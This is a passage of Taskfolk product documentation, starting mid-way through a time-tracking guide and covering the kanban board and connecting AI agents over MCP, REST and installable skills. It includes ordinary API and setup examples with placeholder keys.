only draws the completion one. If you want to see time burn, that is the budget bar on the issue and the summary card, not the Gantt. For everything else the timeline can do, dependencies, scheduling, drag to reschedule, see the deeper walkthrough in [the Gantt chart with dependencies guide](/docs/gantt-chart-with-dependencies). The completion fill is one layer on top of that view. ## Seeing time across the whole project Per-issue numbers are where you enter data. The Project Summary is where it pays off. Open the summary and, provided the project has any time on it, you get a Time card with three stats: Estimated, Spent, and Remaining. These roll up every issue's hours into project totals, each rounded to a whole number of hours, with a project-wide budget fill bar underneath. ![The Project Summary page, where per-issue hours roll up into project-level cards including the Time card with its Estimated, Spent, and Remaining totals.](/images/blog/how-to-read-the-project-summary-overview.webp) Remaining is the one to watch. It shows green while you are still inside the total estimate and flips to pink the moment total spent passes total estimate, the same over-budget signal as the per-issue bar, but for the whole project. Green remaining means the project as a whole still has budget. Pink means that, collectively, you have spent more than you planned across everything. One quirk to know. The Time card only appears when the project's total estimate or spent is above zero, and every figure is rounded to whole hours. So a project with only a handful of small durations on it, a couple of 20-minute tasks and nothing else, might show 0h or not render the card at all. That is rounding, not a bug. The card is built for projects with real hours on them, and it comes into its own once you have logged enough to round to something meaningful. Scroll to the Workload section on the same page and time shows up per person. For any assignee who has estimates on their issues, their row reads in the form `{spent}h / {estimate}h estimated`, so you can see at a glance who is running over and who has headroom. This is where the estimate-vs-spent pattern gets actionable at the team level. One person consistently over across their tickets is a signal about workload or estimation, not a one-off. If you would rather see time inline while scanning the backlog, the List view has an optional Estimate / Spent column. It is off by default, so enable it through the column picker. Once on, each row shows the pair as durations (something like "2h" and "90m", with a dash standing in when one side is empty). Handy when you want to compare estimates across a whole list without opening each ticket. For a refresher on working in the list and other views, [creating and organizing issues](/docs/how-to-create-an-issue) covers the basics. ## Who can edit time, and what input gets rejected Time is not editable by everyone who can see the issue. The controls are live only for the issue's reporter, its assignee, or a member who holds the `issue.edit_any` permission (internally, `canEditTime`). Anyone else, a viewer, or a member who is neither reporter nor assignee, sees the Time card fully but with the fields and slider disabled. They can read the estimate, spent, budget, and completion. They just cannot change them. This keeps the numbers owned by the people actually doing or accountable for the work, rather than open to edits from anyone passing through. Input is validated. Both hour fields accept a finite number from 0 to 10000. Type something that is not a number, or a value outside that range, and Taskfolk rejects it: a toast appears reading "Enter a positive number of hours (e.g. 2 or 1.5)." and the field snaps back to whatever was last committed. So a fat-fingered "3o" instead of "30", or a negative number, cannot land silently. You get told, and the old value is preserved. (Clearing a field to empty is allowed and saves null, as covered earlier. That is different from an invalid entry.) Time is also readable and writable outside the interface. Over the public API and through MCP (for AI agents), the time data is exposed as a sub-resource on the issue, with snake_case fields that match the storage units. Reading it needs a key with the `issues:read` scope: ```bash curl https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/time \ -H "Authorization: Bearer tfk_live_a1b2..." ``` The response comes back in minutes, not hours, because the units match the storage, not the UI: ```json { "data": { "issue_key": "WEB-12", "estimate_minutes": 180, "spent_minutes": 120, "completion_pct": 40 } } ``` Writing goes through a PATCH on the same path and needs `issues:write`. Send only the fields you want to change, in minutes for the two time fields and 0 to 100 for `completion_pct`; sending null clears a field, the same as emptying it in the UI. Here is the same update in curl, JavaScript, and Python: ```bash curl -X PATCH https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/time \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{ "spent_minutes": 480, "completion_pct": 90 }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/time", { method: "PATCH", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ spent_minutes: 480, completion_pct: 90 }), }, ); const { data } = await res.json(); console.log(data.spent_minutes); // 480 ``` ```python import requests res = requests.patch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-12/time", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"spent_minutes": 480, "completion_pct": 90}, ) print(res.json()["data"]["spent_minutes"]) # 480 ``` The same ownership rule applies over the API: the key's user must be the issue's reporter, its assignee, or hold the edit-any permission, or the PATCH is refused. If you script anything against these fields, remember the conversion: the API speaks minutes (90, not 1.5), and `completion_pct` is the plain 0 to 100 number. ## What Taskfolk's time tracking does not do Being straight about the limits saves you building a habit the tool does not support. There is no timer. No stopwatch, no start-stop button, nothing that captures time automatically while you work. Spent is a single number you type, and it is cumulative: it represents total time spent so far, not a log of individual sessions. If you want to add an hour, you read the current value and type the new total. There is no worklog history, no list of "2h on Monday, 3h on Wednesday" entries. One number, overwritten each time you update it. If per-session records matter to you, keep them somewhere else and enter the running total here. A few smaller edges, gathered in one place so none of them surprise you: - You enter hours in the UI, but minutes are stored. Do not go looking for a minutes input; there isn't one. - The budget percentage caps at 100 in the display, then reads "Over." You will never see a number above 100%. - The budget bar only exists when there is an estimate. Spent alone gives you a number but no bar. - Completion snaps to steps of 5. You cannot set 37%; it will be 35 or 40. - The Summary Time card rounds to whole hours and only appears once the project has time on it, so small totals can read 0h or hide the card. - The Estimate / Spent list column is off until you turn it on in the column picker. - The Gantt fill is completion, not budget. Progress, not time burned. None of these are dealbreakers, and there are clean habits around them. Update spent at the end of each working session so the cumulative number stays honest without a timer. Estimate in the units the field wants (hours, decimals fine) and let the storage worry about minutes. Treat orange on the budget bar as your cue to re-estimate or cut scope, not as a number to explain later. And use completion as your own read on progress, kept deliberately separate from the clock, so "how done" and "how expensive" stay two answers instead of one muddled average. That separation is really the whole philosophy. Estimate is the bet, spent is the reality, completion is the progress, and the value is in seeing all three at once rather than collapsing them into a single misleading figure. Once you are tracking time this way per issue, the sprint-level habits get easier too: [running a sprint](/docs/how-to-run-a-sprint) and [prioritizing your backlog](/docs/how-to-prioritize-your-backlog) both lean on knowing which work is consistently costing more than it should. Set an estimate on your next ticket the moment you pick it up, then log the real hours as you go. One sprint of honest numbers and the estimate-vs-spent pattern starts telling you where your team's guesses go wrong. --- # How to use a kanban board: a complete guide with a real example URL: https://taskfolk.ai/docs/how-to-use-a-kanban-board Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: kanban, WIP limits, how-to Learn how to use a kanban board in Taskfolk: read cards, drag tasks between columns, add and reorder custom columns, set WIP limits, filter, and save views. You have a pile of work and no idea what is actually moving. Three things are half-done, two are stuck waiting on someone else, and the one that's on fire is buried in a spreadsheet row nobody has opened since Tuesday. Learning how to use a kanban board fixes exactly that, and it takes about five minutes to feel the difference. This guide walks the whole thing on a real Taskfolk project: reading a board you've never seen, moving work across it, then bending the columns around how your team actually operates. Here is what you'll walk away able to do: - Read a board at a glance, so every column, count pill, and card chip is telling you something before you touch anything. - Move work by dragging cards between columns, or drive the whole board from the keyboard, and understand what the status change actually does underneath. - Create tasks three different ways and land each one in the exact column you want. - Shape the board to your process: add, rename, recolour, reorder, and delete columns, and set real WIP limits and workflow rules in project settings. - Cut a busy board down to what matters with filters, saved Views, and swimlanes, and know which board settings persist and which don't. ## What a kanban board actually is (and what the columns mean) A kanban board is a set of columns you drag cards across, left to right, as work moves from "not started" to "done." That's the whole idea. Each card is a piece of work. Each column is a stage. The position of a card is the honest answer to "where is this?" So how to use a kanban board comes down to three moves: read the columns, move the cards, then shape the columns to fit how your team works. The rest of this guide is those three things, in that order, on a real board. Here's the part that's specific to Taskfolk, and it's worth getting straight up front because it changes how you think about everything else. The columns are not a fixed set the app hands you. They are your project's custom statuses, stored per project, rendered left to right in the order you rank them. The demo WEB project you'll see throughout this guide ships with 7 default columns: Backlog, To Do, In Progress, In Review, Done, plus the Failed and Cancelled category columns. You open the board at `/w/[workspace]/p/[project]/board`. ![The full Taskfolk kanban board for the demo WEB project at desktop width, showing its 7 default columns (Backlog, To Do, In Progress, In Review, Done, Failed, Cancelled) with cards, the header issue and column count, the '+ New task' button, and the Filter / Views / Group / WIP / Density toolbar. This is the anchor shot establishing what a Taskfolk board looks like.](/images/blog/how-to-use-a-kanban-board-overview.webp) Look at the header first. It gives you a live read on the project, something like "42 issues across 7 columns." That count is open issues, and it moves as work opens and closes. Each column carries its own count pill in its header too, so you can see at a glance that In Progress is holding nine cards while In Review is holding two. When those numbers get lopsided, that's information. Nine in progress and two in review usually means work is starting faster than it's finishing, which is the single most common way teams quietly drown. We're in project WEB for the rest of this guide. There's a ticket called "Timeline + Summary tab" that we'll follow around the board: creating it, moving it, filtering for it, editing it in place. It's a normal task, the kind that sits in your backlog until someone picks it up. ## How to read a card before you touch anything Before you drag a single thing, learn to read a card. The card face is dense on purpose. Every element is there so you can make a decision without opening the issue, and once you can read it fluently, the board stops being a wall of rectangles and starts being a status report. Working across the card, here is what each element is telling you and why you'd care: - **Status dot.** A small coloured dot that matches the column's colour. Redundant when you're staring at the board (the card is already in the column), useful the moment you filter or group and want a fast visual anchor. - **Issue key.** Something like WEB-12. Stable across renames, the thing you say out loud in standup. It links to the issue. - **Blocked badge.** When the issue is blocked, a "Blocked" badge appears, and its tooltip carries the open-blocker count ("Blocked by 2 open issues"). This is the one to scan for first. A blocked card sitting in In Progress is not actually progressing, no matter what column it's parked in. - **Priority badge.** How much this should hurt if it slips. - **Title.** The human name of the work. Clicking it opens the issue. (More on why that "clicking" matters in a second.) - **Labels.** Up to 3 shown, with a "+N" overflow chip when there are more. Labels are how you slice the board later with filters. - **Type badge.** Epic, story, task, bug, subtask. A column full of bugs reads very differently from a column full of stories. - **Sprint chip.** Which sprint this belongs to, when the project runs sprints. - **Due-date chip, tinted by urgency.** Pink when it's overdue, orange when it's due soon. This is the quiet hero of the card face. A pink due chip on a card still sitting in Backlog is a problem you can see from across the room without opening anything. That's the whole point of a good card. - **Assignee avatar.** Who owns it. When two or more people are assigned, you get an overlapping avatar stack instead of a single face. One practical note for big projects. The board doesn't load ten thousand cards into your browser. It pages them, showing "{shown} of {total}" at the foot of a column with a "Load more (N)" button, and at real scale that total is a capped count that reads like "1000+" rather than an exact figure. So if a column says "50 of 1000+", you're looking at the first page, not the whole thing. Load more when you need to dig deeper. ## Move a task between columns (the whole point) Now the move that gives kanban its name. Drag a card into another column and its status changes. Drag a card up or down inside a column and you re-rank it, which is how you say "do this one before that one" without changing its status. This is the shared idea behind every board tool, [Trello included](/vs/trello). Taskfolk's version just does more underneath the drop. And if you are coming from Trello because the board itself stopped being enough, [that move has its own writeup](/blog/trello-alternative-when-you-outgrow-boards). The whole card is the drag surface, which sounds like it would fight with all those clickable chips and the title link. It doesn't, because of one deliberate detail: the pointer has to travel 6 pixels before a drag starts. Under that threshold, a click is a click, so tapping the title still opens the issue and clicking a chip still edits it. Past it, you're dragging. You'll stop noticing this within a minute of using it. Moves are optimistic. The card jumps to where you dropped it immediately, before the server has confirmed anything, because waiting on a round-trip for every drag would feel like moving through syrup. Underneath, the drop persists two things: which column the card now lives in (its status) and where it sits in that column (its rank). ```mermaid sequenceDiagram participant You participant Board participant Server You->>Board: drop card in a new column Board->>Board: card moves instantly Board->>Server: persist status and rank alt write succeeds Server-->>Board: confirmed, nothing else happens else write fails Server-->>Board: error with a reason Board->>Board: card snaps back, toast explains why end ``` If the write fails, the card snaps back to where it was and a toast tells you why. The message is specific about the reason. A permission problem reads differently from a transient network hiccup, which reads differently from a workflow rule blocking the move. While you drag, the board helps you aim. A dashed placeholder slot marks where the card came from and where it will land, so you can see the gap it'll drop into. Drag over an empty column and it shows a "Release to drop" hint so you know the target is live. You don't need the mouse at all. The keyboard path is complete: - Focus a card (tab to it). - **Space or Enter** to pick it up. - **Arrow keys** to move it between columns and within a column. - **Space or Enter** again to drop it. - **Escape** to cancel and put it back. Every step is announced through an aria-live region, so a screen-reader user hears "picked up," "moved to In Progress," "dropped." This is a genuinely good keyboard experience, not a checkbox someone ticked. Now the honest limit, because you'll hit it and I'd rather you hit it knowing. Taskfolk supports [workflow transition rules](/blog/what-is-agentic-project-management): a project can be set so that, say, a card in Backlog can only move to To Do, not straight to Done. Those rules are enforced on the server on every status write, and the status pickers pre-filter to only allowed targets. But the board does not grey out or disable a column to preview a blocked move before you attempt it. So you can pick up a card, drag it to a column the workflow forbids, drop it, and only then find out: the card reverts and a toast reads "Blocked by workflow: this move is not allowed." Board grey-out to show blocked targets ahead of time is deferred. It's on the list. It isn't here yet. One permission note. Dragging needs issue edit permission (edit your own or edit any). Viewers get a read-only board: no drag handlers, no in-place editing, plain badges instead of editable chips. That's by design. A viewer is there to watch, not to move your work around. ## Create a task and land it in the right column There are three ways to create a task, and the difference between them is mostly about where the card is born. Picking the right one saves you a drag every time. **1. The header "+ New task" button.** Top of the board. It opens the New task dialog already scoped to the current project, so you're not fishing WEB out of a list every time. This is your default when you're not thinking about which column the task should start in. It lands in the project's default starting status. **2. Quick-add inside an empty column.** This is the one people miss, and it's the best of the three when it applies. An empty column shows a "+ New task" placeholder button right in the column body. Click it and the New task dialog opens with that column's exact status pre-selected. The card is born in the right place. No create-then-drag, no "oops, wrong column." Two caveats from how it's built: the placeholder only shows to people who can create issues, and it is not offered for a Cancelled-category column (creating work directly into "Cancelled" makes no sense, so the affordance isn't there). **3. Press "c" from anywhere.** With focus outside any text field and no modifier key held (no Cmd, Ctrl, or Alt), tapping "c" opens the New task dialog. It's the global quick-create shortcut, and it's listed in the keyboard shortcuts help, so you don't have to memorise it blind. This is the fastest path once it's in your fingers. You're reading a card, an idea hits, "c", type, done. Which one to reach for: ```mermaid flowchart TD A[Need a new task] --> B{Is the target column empty?} B -->|yes| C[Quick add inside that column] B -->|no| D{Hands on the keyboard?} D -->|yes| E[Press c] D -->|no| F[Header New task button] C --> G[Card born in the right column] E --> H[Card lands in the default column] F --> H H --> I[Drag it where it belongs] ``` Concrete example. Say the "Timeline + Summary tab" work is already underway and you want its card to start life in In Progress rather than Backlog. If In Progress happens to be empty, use its in-column "+ New task" placeholder: the dialog opens with In Progress pre-selected, you type the title, and the card appears exactly where it belongs. Compare that to creating from the header (card lands in the default column) and then dragging it two columns over. Same result, more steps, one more chance to fumble the drop. When the target column is empty, quick-add wins. ## Customize your columns: add, rename, recolour, reorder, delete Here is where a board stops being generic and starts being yours. First, the gate, because it matters and it's easy to get wrong when you're explaining this to teammates: all column management needs the project edit-settings permission. That means admins and owners, the people who can edit project settings, not any member and definitely not a viewer. A regular member won't even see the "+ Add status" lane or the management controls. So if a teammate says "I don't have that button," this is almost always why. **Adding a column.** At the right end of the board there's a trailing "+ Add status" lane. Open it and you set three things: - A **Status name** (this is the column header text). - A **Category**, chosen from seven: Backlog, To do, In progress, In review, Done, Failed, Cancelled. - A **colour**, either one of 8 preset swatches or a custom hex via the colour picker. The stored value is a 6-digit hex (#RRGGBB), so the presets are real colours, not theme tokens. The Category is the part to slow down on. It is the semantic backbone of the whole system. The picker even spells it out: "Category controls open/done behaviour in reports." Your column name is cosmetic. Its category is what tells Taskfolk whether a card in it counts as open or done, what feeds into reports, and what the public API reports as the status. | Category | How reports and filters treat it | |---|---| | Backlog, To do, In progress, In review | Open work | | Done, Failed, Cancelled | Resolved. The issue gets a resolved timestamp when it lands here | So if you add a "Blocked" column, think about what it means: it's work that's started but stuck, which maps to the In progress category, not Done. Name it whatever you like. Categorise it honestly. The add step also has a short focused walkthrough in [how to add board columns](/docs/how-to-add-board-columns). **Managing an existing column.** Every column header has a kebab menu (labelled Manage). Open it and you can rename inline, recolour (swatch or custom), recategorise via the Category select, Move left, Move right, or Delete status. The whole per-column surface, one place. **Reordering.** Two ways, same result. Drag the column header left or right, or use the kebab's Move left / Move right buttons. Both call the same underlying reorder action. The header drag is optimistic, so the column follows your pointer and settles when the server confirms. Drag when you're rearranging several columns at once. Use the Move buttons when you just want to nudge one over by a slot. **Deleting.** This one has teeth, so read before you click. Deleting a column pops a confirm dialog. If the column holds cards, deleting it soft-deletes those issues, and they're recoverable for 30 days. The confirm dialog warns you plainly ("Issues in this column will be soft-deleted. They are recoverable for 30 days."), and after you confirm, the toast reports the damage: "Column deleted. {count} issues archived." The picker also refuses to delete the project's last column, because a board with zero columns isn't a board. So the classic mistake, deleting a column you assumed was empty and quietly archiving eight tickets, is one the app tries to warn you out of. Read the count in that toast. One honesty note so you don't build a wrong mental model: there are seven categories, but the default board does not ship a column for every one. Failed, in particular, is not one of the columns on the default board and isn't in the default Status filter list. The categories are the palette you can build from, not a promise that all seven are already sitting on your board. ## Filter the board, save Views, and group into swimlanes A healthy board gets busy, and a busy board is hard to read. Three tools cut it down to what you care about right now: filters, saved Views, and swimlanes. **Filters.** Hit the Filter button to open the popover. The facets are Type, Priority, Status, Label, Milestone, Sprint, Release, Assignee, and a Due quick-filter (Any due date / Overdue / Due this week / No due date). The Filter button carries a count badge showing how many facets are active, so you always know when the board in front of you is filtered and not just mysteriously empty. A Clear button resets everything at once. ![The board Filter popover expanded with facet buttons (Type, Priority, Status, Label, Assignee, Due, and Sprint/Milestone/Release when present) and at least one facet active, so the Filter button's active-count badge and the Clear button are visible. Shows how to cut a busy board down to what matters.](/images/blog/how-to-use-a-kanban-board-filters.webp) The Assignee facet has quick presets: Anyone, Assigned to me, Unassigned, or a specific team member with their avatar. "Assigned to me" plus Overdue is the filter I reach for most. It's the honest answer to "what's mine and late." If you find yourself leaning on assignee and priority constantly to work out who should be doing what, that's exactly the gap [AI issue triage that assigns and prioritizes](/blog/ai-issue-triage-that-assigns-and-prioritizes) is meant to close. Honest limit here, because it'll confuse you otherwise: the Milestone, Sprint, Release, and Label facets only render when the project actually has those things. A bare project with no sprints, no releases, no labels shows only Type, Priority, Status, Assignee, and Due in the popover. Nothing is broken. There's just nothing to filter on yet. **Saved Views.** Once you've dialled in a filter combination you keep coming back to, save it as a View. A View can be Personal (only you see it) or Shared with the project (everyone gets it). "My overdue work" is a good Personal view. "Release-blocking bugs" is a good Shared one the whole team can click into. There's a catch worth knowing before you rely on it. Saved Views round-trip only the core facets: types, priorities, statuses, labels, and assignee. In URL terms, a View carries the filter params, the ones that look like this: ```http GET /w/taskfolk/p/web/board?types=bug&priority=critical,high&assignee=me ``` They do not save your board-only layout preferences. Density, group-by, the WIP overlay, and sprint scope live in the URL, not in the View: ```http GET /w/taskfolk/p/web/board?density=comfortable&swim=assignee&wip=1 ``` So a saved View restores what you're filtering to, not how the board is laid out. If you paste someone a link with those layout params in the URL, the layout comes along. The saved View alone won't carry it. **Swimlanes.** The Group control adds swimlanes inside each column. You can group by Assignee, Priority, or Type, or turn it off with No grouping. Each lane gets a header with a label and a count, and cards keep their rank order inside the lane. ![The Taskfolk board with the Group control set to a grouping, so each column is divided into labelled swimlanes with per-lane counts while the columns themselves stay the same. Shows that grouping makes lanes within columns, not new columns.](/images/blog/how-to-use-a-kanban-board-group-by.webp) Read this one carefully, because the name oversells it. Grouping makes lanes within each column. It does not rebuild the board into columns-by-assignee. Group by Assignee and you still have your Backlog, To Do, In Progress columns. Each one is now internally divided into a lane per person. That's genuinely handy for a standup ("what's Sara got in flight across every stage?"), but it is not a swap of your process columns for people columns. If you expected the second thing, the first will surprise you. ## WIP limits and workflow rules: the toolbar toggle vs the real setting Read this section twice, because two completely different things share the name "WIP" and the difference will bite a team that doesn't know it. **Thing one: the toolbar WIP toggle.** There's a "WIP" button in the board toolbar. Turn it on and columns show soft work-in-progress limits: In progress caps at 4, In review at 3, and every other category (Backlog, To do, Done, Failed, Cancelled) is uncapped. When a column goes over its cap, its count pill turns into an "n/limit" warning chip (like "6 of WIP limit 4") and the column border tints to catch your eye. ![The board with the WIP toggle on, so a column's count pill reads as an 'n/limit' warning chip (for example In progress against its hard-coded limit of 4) and the over-limit column border tints; the Compact/Cozy density button is also visible. Shows that the toolbar WIP overlay is a category-based visual nudge, not the configured limit.](/images/blog/how-to-use-a-kanban-board-wip-density.webp) Now the part people get wrong. Those numbers are hard-coded and category-based. The toggle does not read the WIP limits you configured in settings. And it does not stop anything. Going over a toolbar WIP limit is purely visual: the pill turns into a warning, the border tints, and the card drops in anyway. There is no board-side enforcement. It's a nudge, a "hey, you've got a lot in flight," not a gate. Do not tell your team the toolbar reflects the limits they set, because it doesn't, and someone will eventually notice the board let them sail straight past a "limit" they thought was real. **Thing two: the real per-status settings.** The actual configured WIP limit and the actual transition rules live in Project settings, on the Board statuses tab. Two cards there do the work: the statuses manager (the list of your columns) and the Workflow card. Each status gets: - A **"Can move to"** set. The default is "All statuses" (Linear-style, go anywhere). Restrict it to build a [Jira-style](/vs/jira) enforced process, where a card can only advance along the paths you allow. Options run from "Allow all statuses" down to "No outgoing moves (terminal)" for a genuine end state. - A numeric **"WIP limit"**, defaulting to None. ![The Project settings Board statuses tab: the statuses manager list of columns alongside the Workflow card, where each status has a 'Can move to' set (default 'All statuses') and a numeric 'WIP limit' (default None). Shows where the real configured WIP limit and enforced transition rules live, distinct from the board toolbar's WIP overlay.](/images/blog/how-to-use-a-kanban-board-workflow-settings.webp) Side by side, so nobody on your team confuses the two again: | | Toolbar WIP toggle | Settings WIP limit | |---|---|---| | Where it lives | Board toolbar button | Project settings, Board statuses tab | | The numbers | Hard-coded by category: In progress 4, In review 3, rest uncapped | Whatever you set per status, default None | | Reads your settings? | No | It is the setting | | Over the limit | Warning chip and tinted border, card drops in anyway | Your configured number, separate from the overlay | Here's the asymmetry that trips people up. The transition rules are enforced, server-side, on every status write including board drags (that's the "Blocked by workflow" toast from earlier). The per-status WIP limit you set here is the real, configured limit, and it's separate from the toolbar overlay's hard-coded 4-and-3. So you have one WIP concept that's a visual nudge (the toolbar) and another that's a configured setting (project settings), and they don't talk to each other. When someone on your team says "the board enforces WIP," ask which one they mean. Sprint scope, which ties into all of this, is worth reading about in [running sprints without the ceremony](/blog/run-sprints-without-the-ceremony). ## Sprint scope, density, and the mistakes people make The last handful of controls are smaller, but they're where day-to-day comfort lives, and this is also where the remaining honest limits go so they're all in one place. **Sprint scope.** When a project has sprints, a scope switcher appears: All issues, Backlog only (nothing scheduled into a sprint), or a specific sprint. The active sprint carries an "Active" badge, and the board defaults to it when it has issues, so you land on the work in flight rather than the whole backlog. You also get an active-sprint banner across the top: sprint name, date range, days left (or how far overdue), and the issue count. With permission, that banner has a Complete button. Completing opens a dialog to move any incomplete issues to another sprint or back to the backlog, and optionally notify their assignees, so closing a sprint doesn't silently strand half-done work. No sprints on the project? No scope switcher and no banner. It only shows up when there's something to scope. **Density.** Two states, Compact and Cozy. Compact is the default and packs more cards into the viewport. Cozy gives them more breathing room. That's the whole choice. There is no third, looser density, so don't go hunting for one. **Quick edits without leaving the board.** You don't have to open an issue to change small things. Each card has a "..." menu (Quick edit) on hover or focus that lets you change Status, Priority, Assignee, or toggle Labels in place. You can also click the chips directly on the card face: click the status dot to change status, the priority badge to change priority, the assignee avatar to reassign. All of it is optimistic with rollback if the write fails, same as dragging. And when a workflow restricts transitions, the status picker here only offers the allowed targets, so quick-edit respects your rules even though the drag preview doesn't. One limit on that. Multi-assignee editing is not on the card. A card with two or more assignees shows a read-only overlapping avatar stack. The click-to-edit assignee chip only appears on cards with zero or one assignee. To manage the full set of assignees, open the issue and use its detail rail. The card gives you fast reassignment for the simple case and gets out of the way for the complex one. A couple of layout notes so your screenshots and your expectations line up. The Group, WIP, and Density controls are hidden on small screens, so drive those from a desktop width. And on phones, columns render at roughly 86vw and snap as you swipe, with edge-fade shadows on the sides when the strip overflows. The mistakes I'd warn a new team about, gathered in one place: - **Trusting the toolbar WIP as enforcement.** It's a visual nudge. It never blocks a drop. If you want a real cap, that's a conversation and a settings change, not the toggle. - **Adding too many columns.** Every column you add is a column everyone has to scan. Backlog, To Do, In Progress, In Review, Done covers most teams. Add a sixth only when a real stage exists that people keep asking about. - **Deleting a column you thought was empty.** Read the archived-count in that "Column deleted. {count} issues archived." toast. Soft-deleted issues are recoverable for 30 days, but only if you notice in time. - **Expecting a saved View to remember your density and grouping.** It won't. Views carry facets. Layout lives in the URL. Bookmark the URL if you want the layout too. If agents or automations are moving cards on your board, keep a person in the loop on the moves that matter. [Human-in-the-loop approval for AI agents](/docs/human-in-the-loop-approval-for-ai-agents) covers how to set that up without slowing everyone down. That's how to use a kanban board in Taskfolk, from reading a card to bending the columns around your real process. The fastest way to make it stick is to stop reading and go move one card. [Open your board](/login) and drag something to Done. --- # How to use AI agents in Taskfolk: connect, assign, follow URL: https://taskfolk.ai/docs/how-to-use-ai-agents-in-taskfolk Published: 2026-07-15 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agents, how-to, agentic project management, MCP A start-to-finish walkthrough: connect an agent, scope its key, assign it issues, and watch its sessions, without giving up control of the board. This is the hands-on version. If you already have a Taskfolk workspace and you want to put an AI agent to work in it, this walks through the actual features in the order you would touch them: connect the agent, give it the right access, hand it an issue, and follow what it does. We have written [the conceptual pieces](/blog/ai-agent-project-management-guide) elsewhere. This one is the tour. The mental model first, because it shapes everything after. Your people work inside the app. Agents work over the MCP server and the REST API. Both act on the same board, with the same fields, the same activity log, and the same permission rules. A Taskfolk agent is not a chat window bolted onto the side of your project. It is a member of the workspace, with a name and an avatar, that you can assign work to like anyone else. When it changes something, the change carries its name. That single decision, agents as members rather than a parallel system, is why the rest of this works. ## Connect a bot Everything starts at the Bots page, under `/w/[workspace]/bots`. There is a "Connect a bot" button. It opens a dialog with two choices: which provider the agent runs on, and what to call it. ![The Bots page before any agent is connected, with the Connect a bot button and an empty sessions list](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) The provider list covers the tools people actually use: Claude Code, Codex, Cursor, Copilot, the Gemini CLI, DeepSeek, Kimi, Perplexity, and a generic "custom agent" for anything that speaks HTTP and does not have a badge yet. The provider is mostly cosmetic, it sets the icon and helps humans tell agents apart in a picker, but pick the one that matches so the board reads clearly later. The name is yours. Two to sixty characters. Call it what it does, "Triage bot" or "Release notes drafter", not "agent-7". You will see this name in the assignee picker and in a hundred activity lines, so a name that says what the thing is for pays off fast. When you confirm, Taskfolk mints a one-time API key. It is shown once. Copy it now, because you cannot get it back later, only rotate it. Alongside the key you get a copy-paste MCP setup command, so connecting the agent's client is a paste, not a config-file archaeology session. For Claude Code it looks like this: ```bash claude mcp add --transport http taskfolk-product \ https://taskfolk.ai/api/mcp/v1 \ --header "Authorization: Bearer tfk_live_YOUR_KEY" ``` The minted key is scoped to member-level `write` by default, which is the sensible starting point for most agents and the thing you will want to narrow in a minute. A workspace can hold up to 25 agents. That is a real ceiling, not a marketing number, so treat agent slots as something you spend deliberately rather than spinning up one per experiment. As for who can connect an agent: owners, admins, and members can. Viewers and guests cannot. Owners and admins can manage any agent in the workspace; a plain member manages the agents they connected. If a teammate connects an agent and leaves, an admin can still revoke it. ![A single gold key over a grid of dark slots, one slot lit, the rest waiting: the one-time key and the finite agent slots.](/images/blog/how-to-use-ai-agents-in-taskfolk-connect.webp) ## The three doors, and which one to hand the agent Taskfolk exposes an agent's capabilities through three surfaces. You do not choose one and lock the others off. You expose all three and let each agent use whatever fits. The first door is the [first-party MCP server](/mcp) at `/api/mcp/v1`. It speaks Streamable HTTP and authenticates with the Bearer key. There is one MCP tool per REST operation, generated from the API rather than hand-written, and the tool list is filtered by the key's scopes. Give an agent a read-only key and it literally only sees read tools. This is the door for MCP-native clients: Claude, Cursor, Windsurf, and the rest. The agent connects, the tools appear, nobody writes a wrapper. The second door is the REST API, version 1, also Bearer-authenticated. It is the layer the MCP server sits on top of. Reach for it when the "agent" is really a script, a cron job, or a backend service that has no business pretending to be an MCP client. Same keys, same scopes, same rules. The third door is installable skills. From the developer dashboard you can install Taskfolk as a skill in Claude Code or Codex with one command. There are ready `.mcp.json` config endpoints for Claude, Cursor, and VSCode, plus a per-workspace `SKILL.md` that lists your projects, labels, members, and custom fields. ![The developer dashboard Skills tab, with per-client install snippets for Claude Code, Cursor, VS Code, Codex, and more](/images/blog/how-to-install-taskfolk-as-an-agent-skill-skills-claude-code.webp) The Codex install, for example, is a download into the skills folder: ```bash mkdir -p ~/.codex/skills/taskfolk-product curl -fsSL "https://taskfolk.ai/api/skill/taskfolk-product.skill.md?workspace=acme" \ -H "Authorization: Bearer tfk_live_YOUR_KEY" \ -o ~/.codex/skills/taskfolk-product/SKILL.md ``` That `SKILL.md` matters more than it looks. An agent that already knows your label palette and your project keys makes far fewer wrong guesses than one discovering them by trial and error. Rough rule: | Door | Reach for it when | | --- | --- | | MCP server | The agent runs inside an MCP client (Claude, Cursor, Windsurf) | | REST API | The "agent" is a script, cron job, or backend service | | Skills | You are bootstrapping a coding agent that will use both | ![Three gold doorways of different shapes in a dark wall, each opening onto the same faint grid: MCP, REST, and skills into one board.](/images/blog/how-to-use-ai-agents-in-taskfolk-doors.webp) ## Give it the right access The default minted key is member-level `write`, and for a lot of jobs you should tighten it before the agent does anything real. The principle we keep coming back to is read broadly, write narrowly. Let the agent see the whole board so it has context. Let it write only where the job needs it. The scopes back this up. `write` grants member-level writes, the everyday stuff: create issues, comment, move cards, set fields. `admin` grants everything, and it is deliberately kept out of plain `write`. An agent with `write` cannot quietly escalate to project-settings changes or destructive actions, because those live behind `admin` and you have to hand that out on purpose. There are also agent-specific scopes, `agents:read` and `agents:write`, for agents that manage other agents or read the hub. And for clients that want to negotiate access properly rather than paste a static key, Taskfolk supports OAuth 2.0 with PKCE and dynamic client registration. ![The API keys tab, one key per agent, each with its own scope badge, rate limit, and last-used time](/images/blog/how-to-use-the-rest-api-keys-tab.webp) Two habits are worth adopting from the start: - Mint a separate key per agent, never a shared one, so every action is attributed and you can revoke one agent without touching the others. - Keep `admin` off any agent that does not genuinely need to change settings or delete things. A triage agent does not. A release agent that flips project configuration might, and that is a decision you make with your eyes open. ## Assign work Here is where "agents are members" stops being a slogan. Open any issue and look at the assignee picker. It has two sections, People and Agents, and agents show with a badge so you never confuse a human with a bot. You assign an issue to an agent exactly the way you assign it to a person. Same picker, same click. 